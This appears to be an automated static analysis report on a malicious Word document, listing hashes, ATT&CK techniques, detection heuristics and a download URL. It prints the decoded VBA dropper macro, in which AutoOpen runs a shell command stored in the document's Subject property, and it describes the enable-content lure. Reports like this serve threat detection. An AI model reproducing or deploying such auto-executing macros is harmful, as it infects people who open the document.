Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4f77e3d968b1bd12…

MALICIOUS

Office (OLE)

36.5 KB Created: 2017-11-09 12:57:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: 1f7b4297a3a53041846c137b8339ec79 SHA-1: 6fa9c23d84e5c83d5cb5e0c572ddad6c22534a03 SHA-256: 4f77e3d968b1bd12359bbf8a8a04e8f795fa4c62265b52b5df2ab75052749239
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros, including an AutoOpen macro that calls a function to execute a shell command. The shell command is constructed using the document's subject property, which is likely to contain a command to download and execute a payload. The document body explicitly instructs the user to 'ENABLE CONTENT TO READ IT', a common lure for macro-based malware. The presence of a PowerShell execution policy bypass command further suggests malicious intent.

Heuristics 10

  • ClamAV: Doc.Malware.Generic-6743438-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6743438-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Function blsJWPua()
    Shell (ThisDocument.BuiltInDocumentProperties.Item("Subject"))
End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub AutoOpen()
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://anyfile.255bits.com/wix/download?id=4774c2595380a37a91a08be3494dc282 In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 445 bytes
SHA-256: da372893fb1dc1fbce0b16806da19d7f70784af8e478ee2dc560a349135db53e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()

    Call blsJWPua

End Sub


Function blsJWPua()
    Shell (ThisDocument.BuiltInDocumentProperties.Item("Subject"))
End Function

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